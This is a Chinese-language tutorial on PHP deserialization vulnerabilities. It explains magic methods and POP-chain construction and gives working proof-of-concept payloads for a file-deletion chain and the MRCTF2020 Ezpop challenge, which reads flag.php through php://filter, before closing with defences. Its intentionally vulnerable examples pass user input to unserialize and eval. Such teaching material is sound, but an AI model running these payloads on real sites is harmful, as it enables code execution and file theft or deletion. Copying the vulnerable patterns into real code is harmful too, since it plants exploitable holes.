反序列化漏洞详解
字数 1531 2025-08-15 21:33:50
PHP反序列化漏洞详解
一、序列化与反序列化基础
1. 基本概念
序列化:将对象的状态信息转换为可以存储或传输的形式的过程。在PHP中,使用serialize()函数实现。
反序列化:把字节序列恢复为对象的过程。在PHP中,使用unserialize()函数实现。
2. PHP中的序列化示例
class test{
public $id = 'Baize';
public $name = 'Sec';
}
$test1 = new test();
$test2 = serialize($test1);
print_r($test2);
输出结果:
O:4:"test":2:{s:2:"id";s:5:"Baize";s:4:"name";s:3:"Sec";}
二、PHP魔术方法
魔术方法是PHP中特殊的方法,会在特定条件下自动调用:
| 魔术方法 | 触发条件 |
|---|---|
__construct() |
创建对象时触发 |
__sleep() |
使用serialize()时自动触发 |
__wakeup() |
使用unserialize()时自动触发 |
__destruct() |
对象被销毁时触发 |
__toString() |
类被当成字符串使用时触发 |
__invoke() |
以调用函数的方式调用对象时触发 |
__call() |
调用不可访问的方法时触发 |
__callStatic() |
静态调用不可访问的方法时触发 |
__get() |
从不可访问的属性读取数据时触发 |
__set() |
向不可访问的属性写入数据时触发 |
__isset() |
对不可访问的属性调用isset()或empty()时触发 |
__unset() |
对不可访问的属性使用unset()时触发 |
三、反序列化漏洞原理
1. 基本漏洞条件
- 存在
unserialize()操作 - 反序列化的参数用户可控
- 魔术方法中存在敏感操作(如
eval()、文件操作等)
2. 简单漏洞示例
class test{
var $id = 'Baize';
function __wakeup(){
eval($this->id);
}
}
$test1 = $_GET['string'];
$test2 = unserialize($test1);
利用方式:
构造序列化字符串:
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}
四、POP链构造
1. POP链概念
POP (Property-Oriented Programming)链是通过一系列对象属性和方法调用,将反序列化操作与敏感操作连接起来的技术。
基本思路:
用户可控反序列化 → 魔术方法 → 魔术方法中调用的其他函数 → 同名函数或通过传递可调用的函数 → 敏感操作
2. 实例解析1:文件删除漏洞
源码:
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete(){
$file = "/var/www/html/cache/tmp/{$this->cache_file}";
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
POP链构造:
- 通过
echo触发__toString() - 修改
Test1中的$obj为Test2实例 - 调用
Test2中的Delete()方法实现文件删除
POC:
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file = 'test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
3. 实例解析2:[MRCTF2020]Ezpop
源码:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
POP链构造:
Show::__construct()设置$source为Show实例Show::__wakeup()中的preg_match触发__toString()Show::__toString()访问$str->source触发Test::__get()Test::__get()以函数方式调用$p触发Modifier::__invoke()Modifier::__invoke()调用append()实现文件包含
POC:
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
五、漏洞检测与防御
1. 漏洞检测方法
- 审计源码,寻找
unserialize()操作 - 检查参数是否用户可控
- 寻找可利用的POP链
- 检查魔术方法中是否存在敏感操作
2. 防御措施
- 避免反序列化用户可控数据
- 使用
json_encode()和json_decode()替代序列化 - 对反序列化数据进行严格校验
- 使用
__wakeup()或__destruct()方法进行安全检查 - 限制敏感函数的调用